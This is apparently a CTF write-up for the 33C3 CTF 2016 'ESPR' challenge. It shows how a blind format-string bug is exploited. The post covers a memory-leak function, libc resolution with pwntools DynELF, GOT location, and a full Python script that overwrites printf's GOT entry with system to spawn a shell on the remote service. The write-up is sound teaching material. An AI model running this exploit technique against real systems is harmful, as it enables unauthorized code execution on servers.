Home 33C3 CTF 2016 -- ESPR
Post
Cancel

33C3 CTF 2016 -- ESPR

Category: pwn
Points: 150

This time there’s no binary or libc.so provided, only an image looks like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
eat:                  sleep:
+-----------------+   +----------------+
| sub rsp, 0x100  |   | mov edi, 0x1   |
| mov rdi, rsp    |   | call _sleep    |
| call _gets      |   |                |
|                 |   |                |
+-----------------+   +----------------+
pwn:                  repeat:
+-----------------+   +----------------+
| mov rdi, rsp    |   |                |
| call _printf    |   | jmp eat        |
| add rsp, 0x100  |   |                |
|                 |   |                |
+-----------------+   +----------------+

Interesting…

So apparently the program has two vulnerabilities: stack overflow & format string. Since we can’t actually exploit the stack overflow vulnerability (the program likely won’t return because of the infinite loop), we’ll have to focus on the format string vulnerability and exploit the service without having the binary file.

So how are we gonna do this? Fortunately, pwntools is here to rescue! By using the amazing DynELF module, we’re able to resolve & leak some address without the need for binary!

First we’ll need a leak function to let pwntools able to leak data at an arbitrary address. Here we exploit the format string vulnerability to leak an arbitrary address:

1
2
3
4
5
6
7
8
9
def leak(addr):
    payload = "%7$s.AAA"+p64(addr)
    r.sendline(payload)
    print "leaking:", hex(addr)
    resp = r.recvuntil(".AAA")
    ret = resp[:-4:] + "\x00"
    print "ret:", repr(ret)
    r.recvrepeat(0.2) # receive the rest of the string
    return ret

Then we need a pointer into the binary. I got the pointer by entering %30$p, which returned 0x40060d. Now we can use the DynELF module to help us resolve some function addresses.

First we’ll need to resolve the address of printf and system:

1
2
3
4
5
6
d = DynELF(leak, 0x40060d)
system_addr = d.lookup('system', 'libc')
printf_addr = d.lookup('printf', 'libc')

log.success("printf_addr: "+hex(printf_addr))
log.success("system_addr: "+hex(system_addr))

It took a while because of sleep(1), and pwntools will need a lot of addresses to resolve those functions.

1
2
[+] printf_addr: 0x7fb040a17550
[+] system_addr: 0x7fb040a066d0

OK so now we know the offset between printf and system. Next time we’ll just have to leak printf@got.plt, calculate system’s address and use it to overwrite printf’s GOT entry, finally we’ll be able to hijack printf’s GOT and call system("sh") by entering “sh”.

But first we’ll have to know the address of printf@got.plt. Luckily, not only can DynELF resolve function addresses, it can also resolve some useful addresses such as the pointer to the .dynamic section:

1
2
d = DynELF(leak, 0x40060d)
dynamic_ptr = d.dynamic

Once we got the .dynamic section’s address, we can use it to locate the .got.plt area:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Dynamic section at offset 0xe28 contains 24 entries:
  Tag        Type                         Name/Value
 0x0000000000000001 (NEEDED)             Shared library: [libc.so.6]
 0x000000000000000c (INIT)               0x400400
 0x000000000000000d (FINI)               0x400614
 0x0000000000000019 (INIT_ARRAY)         0x600e10
 0x000000000000001b (INIT_ARRAYSZ)       8 (bytes)
 0x000000000000001a (FINI_ARRAY)         0x600e18
 0x000000000000001c (FINI_ARRAYSZ)       8 (bytes)
 0x000000006ffffef5 (GNU_HASH)           0x400298
 0x0000000000000005 (STRTAB)             0x400330
 0x0000000000000006 (SYMTAB)             0x4002b8
 0x000000000000000a (STRSZ)              68 (bytes)
 0x000000000000000b (SYMENT)             24 (bytes)
 0x0000000000000015 (DEBUG)              0x0
 0x0000000000000003 (PLTGOT)             0x601000  <--- here
1
2
3
4
5
6
7
8
9
10
11
12
cnt = 0
while True:
    addr = dynamic_ptr + 0x10*cnt
    ret = leak(addr)
    if ret == "\x03\x00": #TYPE PLTGOT
        addr += 8
        for i in xrange(8):
            ret = leak(addr+i)
            print "ret:", ret.encode('hex')
        break
    else:
        cnt += 1

Now we can find where printf@got.plt is, by leaking all the GOT entry and compare the low 12 bits of the function address (see if it ends with 550):

1
2
3
4
5
got = 0x601000
for i in xrange(8):
    addr = got + i*8
    ret = leak(addr)
    print "ret:", ret.encode('hex')

Finally, we can start exploiting the service:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/env python

from pwn import *
import subprocess
import sys
import time

HOST = "78.46.224.86"
PORT = 1337
# setting 
context.arch = 'amd64'
context.os = 'linux'
context.endian = 'little'
context.word_size = 32
# ['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
context.log_level = 'INFO'

def leak(addr):
    payload = "%7$s.AAA"+p64(addr)
    r.sendline(payload)
    print "leaking:", hex(addr)
    resp = r.recvuntil(".AAA")
    ret = resp[:-4:] + "\x00"
    print "ret:", repr(ret)
	r.recvrepeat(0.2)
    return ret
    
if __name__ == "__main__":

    r = remote(HOST, PORT)

    printf_got = 0x601018
    printf_addr = u64(leak(printf_got).ljust(8, "\x00"))
    system_addr = printf_addr - 0x10e80 # remote

    log.success("printf_addr: "+hex(printf_addr))
    log.success("system_addr: "+hex(system_addr))

    byte1 = system_addr & 0xff
    byte2 = (system_addr & 0xffff00) >> 8
    log.success("byte1: "+hex(byte1))
    log.success("byte2: "+hex(byte2))

    payload = "%" + str(byte1) + "c" + "%10$hhn."
    payload += "%" + str(byte2-byte1-1) + "c" + "%11$hn."
    payload = payload.ljust(32, "A")
    payload += p64(printf_got) + p64(printf_got+1)
    r.sendline(payload)
    r.sendline("sh\x00")
    r.interactive()

flag: 33C3_f1rst_tshirt_challenge?!

This post is licensed under CC BY-SA 4.0 by the author.

33C3 CTF 2016 -- The 0x90s called

33C3 CTF 2016 -- babyfengshui

Comments powered by Disqus.